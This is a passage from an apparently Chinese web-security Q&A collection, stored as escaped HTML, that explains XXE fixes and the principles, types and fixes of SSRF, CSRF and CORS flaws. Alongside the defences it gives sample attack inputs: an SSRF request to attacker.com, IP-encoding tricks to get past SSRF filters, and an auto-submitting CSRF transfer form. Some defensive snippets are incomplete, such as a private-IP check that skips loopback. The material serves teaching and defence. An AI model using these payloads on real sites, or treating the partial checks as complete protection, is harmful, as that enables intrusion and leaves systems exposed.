\u4f7f\u7528\u5b89\u5168\u89e3\u6790\u5668<\/h4>\n<p>Java&#xff1a;<\/p>\n<p>Java<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u4f7f\u7528SAX\u89e3\u6790\u5668 SAXParserFactory spf &#061; SAXParserFactory.newInstance(); spf.setFeature(&#034;http:\/\/apache.org\/xml\/features\/disallow-doctype-decl&#034;, true); \/\/ \u6216\u4f7f\u7528\u5b89\u5168\u914d\u7f6e XMLInputFactory xif &#061; XMLInputFactory.newInstance(); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);<\/p>\n<h4 id=\"3.%20%E8%BE%93%E5%85%A5%E8%BF%87%E6%BB%A4\">3. \u8f93\u5165\u8fc7\u6ee4<\/h4>\n<p>Java<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u8fc7\u6ee4DOCTYPE\u58f0\u660e if (xml.contains(&#034;&lt;!DOCTYPE&#034;) || xml.contains(&#034;&lt;!ENTITY&#034;)) { throw new Exception(&#034;XXE attack detected&#034;); }<\/p>\n<h4 id=\"4.%20%E7%99%BD%E5%90%8D%E5%8D%95%E9%AA%8C%E8%AF%81\">4. \u767d\u540d\u5355\u9a8c\u8bc1<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u53ea\u5141\u8bb8\u7279\u5b9a\u7684XML\u7ed3\u6784 allowed_tags &#061; {&#039;root&#039;, &#039;name&#039;, &#039;age&#039;} def validate_xml(xml_string): # \u68c0\u67e5\u662f\u5426\u5305\u542b\u5371\u9669\u6807\u7b7e # &#8230;<\/p>\n<h4 id=\"5.%20%E5%8D%87%E7%BA%A7%E5%BA%93%E7%89%88%E6%9C%AC\">5. \u5347\u7ea7\u5e93\u7248\u672c<\/h4>\n<ul>\n<li>\u4f7f\u7528\u6700\u65b0\u7248\u672c\u7684XML\u89e3\u6790\u5e93<\/li>\n<li>\u53ca\u65f6\u5e94\u7528\u5b89\u5168\u8865\u4e01<\/li>\n<\/ul>\n<h3 id=\"885.%20%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88SSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">885. \u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff08;SSRF&#xff09;\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/h4>\n<p>SSRF&#xff08;Server-Side Request Forgery&#xff09;\u8ba9\u653b\u51fb\u8005\u80fd\u591f\u8bf1\u4f7f\u670d\u52a1\u5668\u5411\u4efb\u610f\u5730\u5740\u53d1\u8d77\u8bf7\u6c42&#xff0c;\u4ece\u800c\u653b\u51fb\u5185\u7f51\u670d\u52a1\u6216\u8bfb\u53d6\u672c\u5730\u6587\u4ef6\u3002<\/p>\n<h4 id=\"2.%20%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF%EF%BC%9A\">2. \u653b\u51fb\u573a\u666f&#xff1a;<\/h4>\n<p> \u653b\u51fb\u8005 \u2192 \u8bf7\u6c42\u670d\u52a1\u5668 \u2192 \u670d\u52a1\u5668\u8bf7\u6c42\u5185\u7f51\u8d44\u6e90 \u2192 \u8fd4\u56de\u7ed3\u679c\u7ed9\u653b\u51fb\u8005 <\/p>\n<h4 id=\"3.%20%E5%B8%B8%E8%A7%81%E8%A7%A6%E5%8F%91%E7%82%B9%EF%BC%9A\">3. \u5e38\u89c1\u89e6\u53d1\u70b9&#xff1a;<\/h4>\n<ul>\n<li>URL\u53c2\u6570&#xff1a;\u56fe\u7247\u52a0\u8f7d\u3001\u6587\u4ef6\u5bfc\u5165\u3001API\u4ee3\u7406<\/li>\n<li>\u6587\u4ef6\u5904\u7406&#xff1a;PDF\u751f\u6210\u3001\u6587\u6863\u8f6c\u6362<\/li>\n<li>Webhook&#xff1a;\u56de\u8c03URL\u9a8c\u8bc1<\/li>\n<li>\u90ae\u4ef6\u5904\u7406&#xff1a;\u52a0\u8f7d\u8fdc\u7a0b\u56fe\u7247<\/li>\n<\/ul>\n<h4 id=\"4.%20%E5%8D%B1%E5%AE%B3%EF%BC%9A\">4. \u5371\u5bb3&#xff1a;<\/h4>\n<ul>\n<li>\u5185\u7f51\u63a2\u6d4b<\/li>\n<li>\u8bfb\u53d6\u672c\u5730\u6587\u4ef6&#xff08;file:\/\/&#xff09;<\/li>\n<li>\u653b\u51fb\u5185\u7f51\u670d\u52a1&#xff08;Redis, MySQL&#xff09;<\/li>\n<li>\u7ed5\u8fc7\u8ba4\u8bc1&#xff08;127.0.0.1\u8bbf\u95ee&#xff09;<\/li>\n<\/ul>\n<h3 id=\"886.%20%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88SSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E7%A7%8D%E7%B1%BB\">886. \u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff08;SSRF&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%9F%BA%E6%9C%ACSSRF\">1. \u57fa\u672cSSRF<\/h4>\n<p>\u7279\u70b9&#xff1a;\u76f4\u63a5\u8bf7\u6c42\u4efb\u610fURL<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>GET \/proxy?url&#061;http:\/\/attacker.com HTTP\/1.1 <\/p>\n<h4 id=\"2.%20%E7%BB%95%E8%BF%87%E9%99%90%E5%88%B6%E7%9A%84SSRF\">2. \u7ed5\u8fc7\u9650\u5236\u7684SSRF<\/h4>\n<p>\u6280\u672f\u624b\u6bb5&#xff1a;<\/p>\n<table>\n<tr>\u7ed5\u8fc7\u65b9\u5f0f\u793a\u4f8b\u539f\u7406<\/tr>\n<tbody>\n<tr>\n<td>IP\u5730\u5740\u683c\u5f0f<\/td>\n<td>127.0.0.1 \u2192 2130706433<\/td>\n<td>\u5341\u8fdb\u5236IP<\/td>\n<\/tr>\n<tr>\n<td>\u516b\u8fdb\u5236IP<\/td>\n<td>127.0.0.1 \u2192 0177.0.0.1<\/td>\n<td>\u516b\u8fdb\u5236\u8868\u793a<\/td>\n<\/tr>\n<tr>\n<td>\u5341\u516d\u8fdb\u5236IP<\/td>\n<td>127.0.0.1 \u2192 0x7f.0x0.0x0.0x1<\/td>\n<td>\u5341\u516d\u8fdb\u5236<\/td>\n<\/tr>\n<tr>\n<td>\u57df\u540d\u91cd\u5b9a\u5411<\/td>\n<td>http:\/\/redirect.com\u00a0\u2192 \u5185\u7f51IP<\/td>\n<td>302\u8df3\u8f6c<\/td>\n<\/tr>\n<tr>\n<td>DNS\u91cd\u7ed1\u5b9a<\/td>\n<td>\u57df\u540dTTL\u4e3a0&#xff0c;\u591a\u6b21\u89e3\u6790\u4e0d\u540cIP<\/td>\n<td>DNS\u7f13\u5b58\u8fc7\u671f<\/td>\n<\/tr>\n<tr>\n<td>\u7279\u6b8a\u57df\u540d<\/td>\n<td>localhost.attacker.com<\/td>\n<td>\u5b50\u57df\u540d\u89e3\u6790<\/td>\n<\/tr>\n<tr>\n<td>URL\u7f16\u7801<\/td>\n<td>http:\/\/127.0.0.1\u00a0\u2192 http:\/\/%31%32%37%2E%30%2E%30%2E%31<\/td>\n<td>\u591a\u91cd\u7f16\u7801<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"3.%20Blind%20SSRF\">3. Blind SSRF<\/h4>\n<p>\u7279\u70b9&#xff1a;\u65e0\u56de\u663e&#xff0c;\u901a\u8fc7\u5176\u4ed6\u65b9\u5f0f\u5224\u65ad<\/p>\n<ul>\n<li>\u65f6\u95f4\u5ef6\u8fdf<\/li>\n<li>DNS\u8bf7\u6c42<\/li>\n<li>\u9519\u8bef\u4fe1\u606f\u5dee\u5f02<\/li>\n<\/ul>\n<h3 id=\"887.%20%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88SSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D\">887. \u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff08;SSRF&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E7%99%BD%E5%90%8D%E5%8D%95%E6%A0%A1%E9%AA%8C\">1. \u767d\u540d\u5355\u6821\u9a8c<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p>ALLOWED_DOMAINS &#061; [&#039;api.example.com&#039;, &#039;cdn.example.com&#039;] def validate_url(url): parsed &#061; urlparse(url) if parsed.hostname not in ALLOWED_DOMAINS: raise ValueError(&#034;Domain not allowed&#034;) # \u9a8c\u8bc1\u534f\u8bae if parsed.scheme not in [&#039;http&#039;, &#039;https&#039;]: raise ValueError(&#034;Protocol not allowed&#034;)<\/p>\n<h4 id=\"2.%20%E7%A6%81%E7%94%A8%E5%8D%B1%E9%99%A9%E5%8D%8F%E8%AE%AE\">2. \u7981\u7528\u5371\u9669\u534f\u8bae<\/h4>\n<p>Java<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u53ea\u5141\u8bb8HTTP\/HTTPS String url &#061; request.getParameter(&#034;url&#034;); if (!url.startsWith(&#034;http:\/\/&#034;) &amp;&amp; !url.startsWith(&#034;https:\/\/&#034;)) { throw new SecurityException(&#034;Invalid protocol&#034;); }<\/p>\n<h4 id=\"3.%20%E9%99%90%E5%88%B6%E8%AE%BF%E9%97%AE%E8%8C%83%E5%9B%B4\">3. \u9650\u5236\u8bbf\u95ee\u8303\u56f4<\/h4>\n<p>Nginx<\/p>\n<p>\u590d\u5236<\/p>\n<p># Nginx\u4ee3\u7406\u9650\u5236 location \/proxy { proxy_pass http:\/\/backend; # \u53ea\u5141\u8bb8\u8bbf\u95ee\u516c\u7f51 proxy_set_header Host $host; resolver 8.8.8.8; # \u7981\u6b62\u79c1\u6709IP if ($host ~ ^(10\\\\.|172\\\\.(1[6-9]|2[0-9]|3[0-1])\\\\.|192\\\\.168\\\\.)) { return 403; } }<\/p>\n<h4 id=\"4.%20%E4%BD%BF%E7%94%A8URL%E8%A7%A3%E6%9E%90%E5%BA%93\">4. \u4f7f\u7528URL\u89e3\u6790\u5e93<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p>import socket from urllib.parse import urlparse def is_internal(url): hostname &#061; urlparse(url).hostname try: ip &#061; socket.gethostbyname(hostname) # \u68c0\u67e5\u79c1\u6709IP if ip.startswith(&#039;10.&#039;) or \\\\ ip.startswith(&#039;172.16.&#039;) or \\\\ ip.startswith(&#039;192.168.&#039;): return True except: pass return False <\/p>\n<h4 id=\"5.%20%E7%BD%91%E7%BB%9C%E5%B1%82%E9%98%B2%E6%8A%A4\">5. \u7f51\u7edc\u5c42\u9632\u62a4<\/h4>\n<ul>\n<li>\u9632\u706b\u5899\u9650\u5236\u670d\u52a1\u5668\u51fa\u7ad9\u8fde\u63a5<\/li>\n<li>\u72ec\u7acb\u7f51\u7edc\u9694\u79bb\u540e\u7aef\u670d\u52a1<\/li>\n<li>\u4f7f\u7528\u8df3\u677f\u673a\u8bbf\u95ee\u5185\u7f51<\/li>\n<\/ul>\n<h3 id=\"888.%20%E8%B7%A8%E7%AB%99%E7%82%B9%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88CSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">888. \u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/h4>\n<p>CSRF&#xff08;Cross-Site Request Forgery&#xff09;\u5229\u7528\u7528\u6237\u5df2\u767b\u5f55\u7684\u8eab\u4efd&#xff0c;\u5728\u7528\u6237\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u975e\u9884\u671f\u64cd\u4f5c\u3002<\/p>\n<h4 id=\"2.%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86%EF%BC%9A\">2. \u653b\u51fb\u539f\u7406&#xff1a;<\/h4>\n<p> \u7528\u6237\u767b\u5f55\u94f6\u884c\u7f51\u7ad9 \u2192 Cookie\u4fdd\u5b58 \u2192 \u8bbf\u95ee\u6076\u610f\u7f51\u7ad9 \u2192 \u6076\u610f\u7f51\u7ad9\u53d1\u8d77\u8f6c\u8d26\u8bf7\u6c42 \u2192 \u6d4f\u89c8\u5668\u81ea\u52a8\u643a\u5e26Cookie \u2192 \u94f6\u884c\u6267\u884c\u8f6c\u8d26 <\/p>\n<h4 id=\"3.%20%E5%BF%85%E8%A6%81%E6%9D%A1%E4%BB%B6%EF%BC%9A\">3. \u5fc5\u8981\u6761\u4ef6&#xff1a;<\/h4>\n<ul>\n<li>\u7528\u6237\u5df2\u767b\u5f55\u76ee\u6807\u7f51\u7ad9<\/li>\n<li>\u76ee\u6807\u7f51\u7ad9\u6ca1\u6709CSRF\u9632\u62a4<\/li>\n<li>\u653b\u51fb\u8005\u77e5\u9053\u8bf7\u6c42\u53c2\u6570\u683c\u5f0f<\/li>\n<li>\u7528\u6237\u8bbf\u95ee\u6076\u610f\u9875\u9762<\/li>\n<\/ul>\n<h3 id=\"889.%20%E8%B7%A8%E7%AB%99%E7%82%B9%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88CSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E7%A7%8D%E7%B1%BB\">889. \u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20GET%E5%9E%8BCSRF\">1. GET\u578bCSRF<\/h4>\n<p>\u7279\u70b9&#xff1a;\u901a\u8fc7img\u3001script\u7b49\u6807\u7b7e\u53d1\u8d77GET\u8bf7\u6c42<\/p>\n<p>Html<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;img src&#061;&#034;http:\/\/bank.com\/transfer?to&#061;attacker&amp;amount&#061;1000&#034;&gt; <\/p>\n<h4 id=\"2.%20POST%E5%9E%8BCSRF\">2. POST\u578bCSRF<\/h4>\n<p>\u7279\u70b9&#xff1a;\u901a\u8fc7form\u8868\u5355\u63d0\u4ea4<\/p>\n<p>Html<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;form action&#061;&#034;http:\/\/bank.com\/transfer&#034; method&#061;&#034;POST&#034;&gt; &lt;input type&#061;&#034;hidden&#034; name&#061;&#034;to&#034; value&#061;&#034;attacker&#034;&gt; &lt;input type&#061;&#034;hidden&#034; name&#061;&#034;amount&#034; value&#061;&#034;1000&#034;&gt; &lt;\/form&gt; &lt;script&gt;document.forms[0].submit();&lt;\/script&gt;<\/p>\n<h4 id=\"3.%20%E5%85%B6%E4%BB%96%E7%B1%BB%E5%9E%8B\">3. \u5176\u4ed6\u7c7b\u578b<\/h4>\n<ul>\n<li>JSON CSRF&#xff1a;\u901a\u8fc7form&#043;JSON\u63d0\u4ea4<\/li>\n<li>Flash CSRF&#xff1a;\u5229\u7528Flash\u53d1\u8d77\u8bf7\u6c42<\/li>\n<li>\u6587\u4ef6\u4e0a\u4f20CSRF&#xff1a;\u8bf1\u4f7f\u7528\u6237\u4e0a\u4f20\u6076\u610f\u6587\u4ef6<\/li>\n<\/ul>\n<h3 id=\"890.%20%E8%B7%A8%E7%AB%99%E7%82%B9%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88CSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D\">890. \u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20CSRF%20Token\">1. CSRF Token<\/h4>\n<p>\u539f\u7406&#xff1a;\u6bcf\u4e2a\u8868\u5355\u5305\u542b\u968f\u673aToken&#xff0c;\u670d\u52a1\u5668\u9a8c\u8bc1<\/p>\n<p>Html<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;!&#8211; \u8868\u5355\u4e2d &#8211;&gt; &lt;input type&#061;&#034;hidden&#034; name&#061;&#034;csrf_token&#034; value&#061;&#034;\u968f\u673a\u5b57\u7b26\u4e32&#034;&gt; &lt;!&#8211; Cookie\u4e2d &#8211;&gt; Set-Cookie: csrf_token&#061;\u968f\u673a\u5b57\u7b26\u4e32; SameSite&#061;Strict <\/p>\n<p>\u5b9e\u73b0&#xff1a;<\/p>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># Flask\u793a\u4f8b from flask_wtf.csrf import CSRFProtect csrf &#061; CSRFProtect(app) # \u6a21\u677f\u4e2d &lt;form method&#061;&#034;post&#034;&gt; &lt;input type&#061;&#034;hidden&#034; name&#061;&#034;csrf_token&#034; value&#061;&#034;{{ csrf_token() }}&#034;&gt; &lt;\/form&gt;<\/p>\n<h4 id=\"2.%20SameSite%20Cookie\">2. SameSite Cookie<\/h4>\n<p>\u8bbe\u7f6e&#xff1a;<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>Set-Cookie: sessionid&#061;abc123; SameSite&#061;Strict; Secure <\/p>\n<ul>\n<li>Strict&#xff1a;\u5b8c\u5168\u7981\u6b62\u8de8\u7ad9\u643a\u5e26<\/li>\n<li>Lax&#xff1a;\u5141\u8bb8\u90e8\u5206\u5b89\u5168\u8bf7\u6c42&#xff08;\u5982\u5bfc\u822a&#xff09;<\/li>\n<li>None&#xff1a;\u5141\u8bb8\u8de8\u7ad9&#xff08;\u9700\u914d\u5408Secure&#xff09;<\/li>\n<\/ul>\n<h4 id=\"3.%20%E5%8F%8C%E9%87%8DCookie%E9%AA%8C%E8%AF%81\">3. \u53cc\u91cdCookie\u9a8c\u8bc1<\/h4>\n<p>\u539f\u7406&#xff1a;Cookie\u4e2d\u7684\u503c\u4f5c\u4e3a\u53c2\u6570\u63d0\u4ea4<\/p>\n<p>Javascript<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u524d\u7aef\u8bfb\u53d6Cookie function getCookie(name) { \/\/ &#8230;\u8bfb\u53d6Cookie } \/\/ \u8bf7\u6c42\u65f6\u6dfb\u52a0\u53c2\u6570 fetch(&#039;\/api\/transfer&#039;, { method: &#039;POST&#039;, headers: { &#039;Content-Type&#039;: &#039;application\/json&#039;, &#039;X-CSRF-Token&#039;: getCookie(&#039;csrf_token&#039;) }, body: JSON.stringify(data) });<\/p>\n<h4 id=\"4.%20Referer%E9%AA%8C%E8%AF%81\">4. Referer\u9a8c\u8bc1<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p>def check_referer(request): referer &#061; request.headers.get(&#039;Referer&#039;) if not referer or not referer.startswith(&#039;https:\/\/example.com&#039;): return False return True <\/p>\n<h4 id=\"5.%20%E5%85%B3%E9%94%AE%E6%93%8D%E4%BD%9C%E7%A1%AE%E8%AE%A4\">5. \u5173\u952e\u64cd\u4f5c\u786e\u8ba4<\/h4>\n<ul>\n<li>\u91cd\u65b0\u8f93\u5165\u5bc6\u7801<\/li>\n<li>\u77ed\u4fe1\u9a8c\u8bc1\u7801<\/li>\n<li>\u4e8c\u6b21\u786e\u8ba4\u5bf9\u8bdd\u6846<\/li>\n<\/ul>\n<h3 id=\"891.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">891. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%EF%BC%88SOP%EF%BC%89\">1. \u540c\u6e90\u7b56\u7565&#xff08;SOP&#xff09;<\/h4>\n<p>\u5b9a\u4e49&#xff1a;\u534f\u8bae\u3001\u57df\u540d\u3001\u7aef\u53e3\u76f8\u540c\u00a0\u9650\u5236&#xff1a;\u4e0d\u540c\u6e90\u7684\u811a\u672c\u4e0d\u80fd\u8bbf\u95ee\u5bf9\u65b9DOM\u3001Cookie\u7b49<\/p>\n<h4 id=\"2.%20CORS%E6%9C%BA%E5%88%B6\">2. CORS\u673a\u5236<\/h4>\n<p>\u76ee\u7684&#xff1a;\u5b89\u5168\u5730\u5141\u8bb8\u8de8\u57df\u8bf7\u6c42\u00a0\u6d41\u7a0b&#xff1a;<\/p>\n<li>\u6d4f\u89c8\u5668\u53d1\u9001\u9884\u68c0\u8bf7\u6c42&#xff08;OPTIONS&#xff09;<\/li>\n<li>\u670d\u52a1\u5668\u8fd4\u56de\u5141\u8bb8\u7684\u57df\u3001\u65b9\u6cd5\u3001\u5934\u90e8<\/li>\n<li>\u6d4f\u89c8\u5668\u53d1\u9001\u5b9e\u9645\u8bf7\u6c42<\/li>\n<h4 id=\"3.%20%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">3. \u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>\u914d\u7f6e\u9519\u8bef&#xff1a;<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true <\/p>\n<ul>\n<li>\u5141\u8bb8\u4efb\u610f\u57df\u8bbf\u95ee<\/li>\n<li>\u5141\u8bb8\u643a\u5e26\u51ed\u8bc1&#xff08;Cookie&#xff09;<\/li>\n<li>\u7ec4\u5408\u4f7f\u7528\u5bfc\u81f4\u4fe1\u606f\u6cc4\u9732<\/li>\n<\/ul>\n<h3 id=\"892.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E7%A7%8D%E7%B1%BB\">892. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%8F%8D%E5%B0%84Origin\">1. \u53cd\u5c04Origin<\/h4>\n<p>\u6f0f\u6d1e&#xff1a;\u76f4\u63a5\u5c06\u8bf7\u6c42\u7684Origin\u53cd\u5c04\u5230\u54cd\u5e94\u5934<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>\u8bf7\u6c42&#xff1a; Origin: https:\/\/evil.com \u54cd\u5e94&#xff1a; Access-Control-Allow-Origin: https:\/\/evil.com Access-Control-Allow-Credentials: true <\/p>\n<h4 id=\"2.%20%E5%89%8D%E7%BC%80%2F%E5%90%8E%E7%BC%80%E5%8C%B9%E9%85%8D\">2. \u524d\u7f00\/\u540e\u7f00\u5339\u914d<\/h4>\n<p>\u6f0f\u6d1e&#xff1a;\u4e0d\u4e25\u683c\u7684\u57df\u540d\u68c0\u67e5<\/p>\n<p> \u5141\u8bb8&#xff1a;*.example.com<br \/>\n\u653b\u51fb&#xff1a;evilexample.com <\/p>\n<h4 id=\"3.%20%E7%A9%BAOrigin\">3. \u7a7aOrigin<\/h4>\n<p>\u6f0f\u6d1e&#xff1a;\u5141\u8bb8null Origin<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>Access-Control-Allow-Origin: null <\/p>\n<h4 id=\"4.%20%E5%8D%8F%E8%AE%AE%E4%B8%8D%E5%8C%B9%E9%85%8D\">4. \u534f\u8bae\u4e0d\u5339\u914d<\/h4>\n<p>\u6f0f\u6d1e&#xff1a;HTTP\u548cHTTPS\u6df7\u7528<\/p>\n<h3 id=\"893.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8C%BA%E5%88%AB\">893. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u533a\u522b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"%E4%B8%8EJSONP%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9A\">\u4e0eJSONP\u7684\u533a\u522b&#xff1a;<\/h4>\n<table>\n<tr>\u7279\u6027CORSJSONP<\/tr>\n<tbody>\n<tr>\n<td>\u5b89\u5168\u6027<\/td>\n<td>\u53ef\u63a7&#xff0c;\u9700\u670d\u52a1\u5668\u914d\u7f6e<\/td>\n<td>\u4e0d\u5b89\u5168&#xff0c;\u4efb\u610f\u7f51\u7ad9\u53ef\u8c03\u7528<\/td>\n<\/tr>\n<tr>\n<td>\u65b9\u6cd5\u652f\u6301<\/td>\n<td>\u652f\u6301\u6240\u6709HTTP\u65b9\u6cd5<\/td>\n<td>\u4ec5GET<\/td>\n<\/tr>\n<tr>\n<td>\u9519\u8bef\u5904\u7406<\/td>\n<td>\u6709\u9519\u8bef\u72b6\u6001\u7801<\/td>\n<td>\u96be\u4ee5\u9519\u8bef\u5904\u7406<\/td>\n<\/tr>\n<tr>\n<td>\u73b0\u4ee3\u6027<\/td>\n<td>\u73b0\u4ee3\u6807\u51c6<\/td>\n<td>\u8001\u65e7\u65b9\u5f0f<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"%E4%B8%8ECSRF%E7%9A%84%E5%85%B3%E7%B3%BB%EF%BC%9A\">\u4e0eCSRF\u7684\u5173\u7cfb&#xff1a;<\/h4>\n<ul>\n<li>CORS\u6f0f\u6d1e&#xff1a;\u914d\u7f6e\u4e0d\u5f53\u5bfc\u81f4\u6570\u636e\u6cc4\u9732<\/li>\n<li>CSRF\u6f0f\u6d1e&#xff1a;\u7f3a\u4e4f\u9632\u62a4\u5bfc\u81f4\u672a\u6388\u6743\u64cd\u4f5c<\/li>\n<li>\u4e24\u8005\u7ed3\u5408&#xff1a;CORS\u914d\u7f6e\u9519\u8bef\u53ef\u80fd\u52a0\u5267CSRF\u98ce\u9669<\/li>\n<\/ul>\n<h3 id=\"894.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D\">894. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E6%AD%A3%E7%A1%AE%E9%85%8D%E7%BD%AEACAO\">1. \u6b63\u786e\u914d\u7f6eACAO<\/h4>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u4e25\u683c\u6307\u5b9a\u5141\u8bb8\u7684\u57df Access-Control-Allow-Origin: https:\/\/trusted.com # \u52a8\u6001\u6821\u9a8c if request.origin in ALLOWED_ORIGINS: response.headers[&#039;Access-Control-Allow-Origin&#039;] &#061; request.origin <\/p>\n<h4 id=\"2.%20%E9%81%BF%E5%85%8D%E5%8D%B1%E9%99%A9%E7%BB%84%E5%90%88\">2. \u907f\u514d\u5371\u9669\u7ec4\u5408<\/h4>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u5371\u9669&#xff1a;\u901a\u914d\u7b26&#043;\u51ed\u8bc1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true # \u5b89\u5168&#xff1a;\u4e8c\u9009\u4e00 Access-Control-Allow-Origin: https:\/\/trusted.com Access-Control-Allow-Credentials: true # \u6216 Access-Control-Allow-Origin: * # Access-Control-Allow-Credentials: false (\u9ed8\u8ba4)<\/p>\n<h4 id=\"3.%20%E4%B8%A5%E6%A0%BC%E6%A0%A1%E9%AA%8COrigin\">3. \u4e25\u683c\u6821\u9a8cOrigin<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p>ALLOWED_ORIGINS &#061; [&#039;https:\/\/example.com&#039;, &#039;https:\/\/api.example.com&#039;] def check_cors_origin(origin): # \u7cbe\u786e\u5339\u914d&#xff0c;\u907f\u514d\u6a21\u7cca\u5339\u914d if origin in ALLOWED_ORIGINS: return origin return None <\/p>\n<h4 id=\"4.%20%E9%99%90%E5%88%B6%E6%96%B9%E6%B3%95%2F%E5%A4%B4%E9%83%A8\">4. 